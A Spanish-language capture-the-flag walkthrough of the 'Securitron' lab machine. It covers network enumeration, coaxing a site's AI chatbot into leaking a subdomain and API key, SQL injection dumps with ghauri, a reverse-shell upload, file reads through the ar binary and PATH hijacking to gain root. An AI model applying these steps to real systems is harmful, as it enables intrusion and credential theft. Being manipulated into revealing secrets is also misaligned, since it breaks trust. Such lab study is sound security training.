murrusko

Securitron

15 Sep 2024

image

En esta ocasión voy a resolver una máquina Linux creada por lenam de dificultad profesional para la plataforma de The Hackers Labs.

Enumeración

Empezamos buscando que dispositivos hay activos en nuestra red con arp-scam:

$ sudo arp-scan -I enp0s8 --localnet
10.0.2.172      08:00:27:0e:a1:1d       PCS Systemtechnik GmbH

Encontramos la dirección IP de nuestro server víctima 10.0.2.172.

Una vez que tenemos la IP vamos a ver que puertos tiene abiertos con rustscan:

$ rustscan -a 10.0.2.172 -b 20
Open 10.0.2.172:22
Open 10.0.2.172:80

Vemos que tiene el puerto 22 y 80 abiertos. Vamos a ver con nmap -sCV que versiones tienen:

$ sudo nmap -sCV -p22,80 -v 10.0.2.172
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 672eb14de67df9ecfb73e4eb5ebb265f (ECDSA)
|_  256 b314aa48fefc4726d1fa9325cff15ebc (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Securitron
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.62 (Debian)

No encontramos nada relevante, vamos a explorar la web.

Entramos a la url y vemos que es un chat con una inteligencia artificial. Jugamos con la IA y al final conseguimos que nos de información relevante al dominio y a la web.

image

Nos a proporcionado un subdominio y una API-key.

Añadimos el subdominio al fichero /etc/hosts:

$ echo "10.0.2.172 admin19-32.securitron.thl" | sudo tee -a /etc/hosts
10.0.2.172 admin19-32.securitron.thl

Realizamos un escaneo por fuerza bruta para encontrar url relevantes:

$ feroxbuster -w ~/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://admin19-32.securitron.thl -r -d 1 -x .php
...
200      GET      111l      300w     5201c http://admin19-32.securitron.thl/Account/login.php
200      GET       19l       89w     1583c http://admin19-32.securitron.thl/Account/
...

Entre otras encontramos un panel de login.

Intrusión

Capturamos la petición con Caido o Burp Suite y lanzamos ghauri en busca de alguna vulnerabilidad SQLi:

$ ghauri -r req.txt
Ghauri identified the following injection point(s) with a total of 53 HTTP(s) requests:
---
Parameter: txtusername (POST)

Vemos que existe una vulnerabilidad SQLi. Le pedimos que nos de las BBDD existentes/

$ ghauri -r req.txt --dbs
available databases [2]:
[*] information_schema
[*] pms_db

En este caso nos interesa la base de datos pms_db. Le pedimos las tablas de esa BBDD:

$ ghauri -r req.txt -D pms_db --tables
Database: pms_db
[3 tables]
+-------------+
| users       |
| tblemployee |
| tblleave    |
+-------------+

Ahora vamos a dumpear las tablas tblemployee y users:

$ ghauri -r req.txt -D pms_db -T tblemployee --dump
Database: pms_db
Table: tblemployee
[1 entries]
+----+---------------------+----------------+-------------+------+-------------------------------+-----------+-------------+-------------+---------------+---------+---------------+------------------+--------------+-----------+--------+--------------+---------------------------+
| id | employeeID          | fullname       | password    | sex  | email                         | dob       | phone       | address     | qualification | dept    | employee_type | date_appointment | basic_salary | gross_pay | status | leave_status | photo                     |
+----+---------------------+----------------+-------------+------+-------------------------------+-----------+-------------+-------------+---------------+---------+---------------+------------------+--------------+-----------+--------+--------------+---------------------------+
| 7  | STAFF/FKP/2023/4860 | Ndueso Akpabio | escobar2012 | Male | newleastpaysolution@gmail.com | 12/9/1980 | 08067361023 | 12 Ikono rd | Msc           | Bursary | Academic      | 9/9/2023         | 21000        | 25000     | 1      | Pending      | uploadImage/Profile/2.png |
+----+---------------------+----------------+-------------+------+-------------------------------+-----------+-------------+-------------+---------------+---------+---------------+------------------+--------------+-----------+--------+--------------+---------------------------+
$ ghauri -r req.txt -D pms_db -T users --dump
Database: pms_db
Table: users
[1 entries]
+----------+--------------+-----------+----------+------------------------+
| username | password     | phone     | fullname | photo                  |
+----------+--------------+-----------+----------+------------------------+
| admin    | Ntpqc6Z7MDkG | 699696969 | Lenam    | uploadImage/avatar.png |
+----------+--------------+-----------+----------+------------------------+

Entramos al panel de admin con las credenciales.

image

En el apartado de cambiar de avatar vemos que podemos subir imágenes.

image

Subimos una reverse shell con extension png, capturamos con Caido la petición y le cambiamos la extension a php.

Nos ponemos a la escucha con Netcat y obtenemos la shell.

$ nc -nlvp 8888
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 10.0.2.172.
Ncat: Connection from 10.0.2.172:43200.

Hacemos el tratamiento de la tty y ya estamos dentro.

Hacemos una busqueda de ficheros con el bit SUID activo:

www-data@TheHackersLabs-Securitron:/$ find / -perm -4000 2>/dev/null
/usr/bin/x86_64-linux-gnu-ar

Encontramos en GTFOBins que podemos leer ficheros del sistema como si fueramos root. Vamos a leer el fichero user.txt.

www-data@TheHackersLabs-Securitron:/$ TF=$(mktemp -u)
www-data@TheHackersLabs-Securitron:/$ LFILE=/home/securitybot/user.txt
www-data@TheHackersLabs-Securitron:/$ /usr/bin/x86_64-linux-gnu-ar r "$TF" "$LFILE"
www-data@TheHackersLabs-Securitron:/$ cat "$TF"
!<arch>
user.txt/       0           0     0     644     74        `
463061*********

No olvides la contraseña: 0KjcFEkuUEXG
www-data@TheHackersLabs-Securitron:/$

Encontramos la flag de user y la contraseña del usuario securitybot. Nos logeamos con el usuario y vemos que puede ejecutar como root:

securitybot@TheHackersLabs-Securitron:~$ sudo -l
sudo: unable to resolve host TheHackersLabs-Securitron: Name or service not known
[sudo] password for securitybot: 
Matching Defaults entries for securitybot on TheHackersLabs-Securitron:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User securitybot may run the following commands on TheHackersLabs-Securitron:
    (ALL : ALL) /usr/bin/ar

Escalada de privilegios

Vemos que puede ejecutar como root el binario ar. Si intentamos leer la flag de root nos encontramos con un mensaje diciendo que no esta hay la flag.

Seguimos enumerando el servidor:

securitybot@TheHackersLabs-Securitron:~$ ls -la /opt/
total 12
drwxr-xr-x  2 root root 4096 Jul 31 13:09 .
drwxr-xr-x 18 root root 4096 Sep  8 17:45 ..
-rwxr-xr-x  1 root root  767 Jul 31 12:49 backup_bd.sh

Encontramos un script que que hace un backup de la BBDD. Vamos a ver que hace el script:

securitybot@TheHackersLabs-Securitron:~$ cat /opt/backup_bd.sh 
#!/bin/bash

# Verificar si se pasó un argumento (la fecha)
if [ -z "$1" ]; then
  echo "Uso: $0 <fecha>"
  exit 1
fi

# Variables
FECHA=$1
USUARIO="matomo"
CONTRASENA="7pUYlPYpziv1"
BASE_DATOS="pms_db"
CARPETA_BACKUP="/root/backups"
NOMBRE_BACKUP="${CARPETA_BACKUP}/backup_${BASE_DATOS}_${FECHA}.sql"

# Crear carpeta de backups si no existe
/bin/mkdir -p $CARPETA_BACKUP

# Crear backup
/usr/bin/mysqldump -u $USUARIO -p$CONTRASENA $BASE_DATOS > $NOMBRE_BACKUP

# Verificar si el backup se creó exitosamente
if [ $? -eq 0 ]; then
  echo "Backup creado exitosamente: $NOMBRE_BACKUP"
else
  echo "Error al crear el backup"
  exit 1
fi

# Mantener solo los dos últimos backups
/bin/ls -t $CARPETA_BACKUP | /usr/bin/sed -e '1,2d' | /usr/bin/xargs -d '\n' /bin/rm -f

Vamos a ver si hay alguna tarea cron con pspy64:

2024/09/14 17:45:01 CMD: UID=0     PID=1903   | /usr/sbin/CRON -f 
2024/09/14 17:45:01 CMD: UID=0     PID=1904   | /usr/sbin/CRON -f 
2024/09/14 17:45:01 CMD: UID=0     PID=1905   | /bin/sh -c /opt/backup_bd.sh `date +%F` 
2024/09/14 17:45:01 CMD: UID=0     PID=1906   | 
2024/09/14 17:45:01 CMD: UID=0     PID=1907   | /bin/mkdir -p /root/backups 
2024/09/14 17:45:01 CMD: UID=0     PID=1908   | /bin/bash /opt/backup_bd.sh 2024-09-14 
2024/09/14 17:45:01 CMD: UID=0     PID=1911   | /bin/bash /opt/backup_bd.sh 2024-09-14 
2024/09/14 17:45:01 CMD: UID=0     PID=1910   | 
2024/09/14 17:45:01 CMD: UID=0     PID=1909   | /bin/ls -t /root/backups 
2024/09/14 17:45:01 CMD: UID=0     PID=1912   | /usr/bin/xargs -d \n /bin/rm -f 

Vemos que hay una tarea de root. Como podemos leer ficheros como root con el binario ar, vamos a ver que contiene el fichero cron:

TF=$(mktemp -u)
LFILE=/var/spool/cron/crontabs/root
sudo ar r "$TF" "$LFILE"
cat "$TF"

!<arch>
root/           0           0     0     644     1239      `
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.3cCTUG/crontab installed on Thu Aug 22 23:03:21 2024)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/home/securitybot/.local/bin:/usr/bin:/sbin:/bin"
MAILTO=""
# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
*/1 * * * *     /opt/backup_bd.sh `date +\%F`

Si nos fijamos en el PATH vemos que hay un directorio dentro del home del usuario en el que tenemos permiso de escritura. También vemos que usa el comando date sin la ruta completa. Vamos a realizar un path hijacking. Creamos un fichero con el nombre date y con permiso de ejecución en el directorio /home/securitybot/.local/bin:

#!/bin/bash
chmod +s /usr/bin/bash

Ahora esperamos a que se ejecute la tarea:

securitybot@TheHackersLabs-Securitron:~$ watch -n 1 ls -l /usr/watch -n 1 ls -l /usr/bin/bash

Y ya solo queda ejecutar bash -p para ser root:

securitybot@TheHackersLabs-Securitron:~$ bash -p
bash-5.2# whoami
root
bash-5.2# hostname
TheHackersLabs-Securitron
bash-5.2#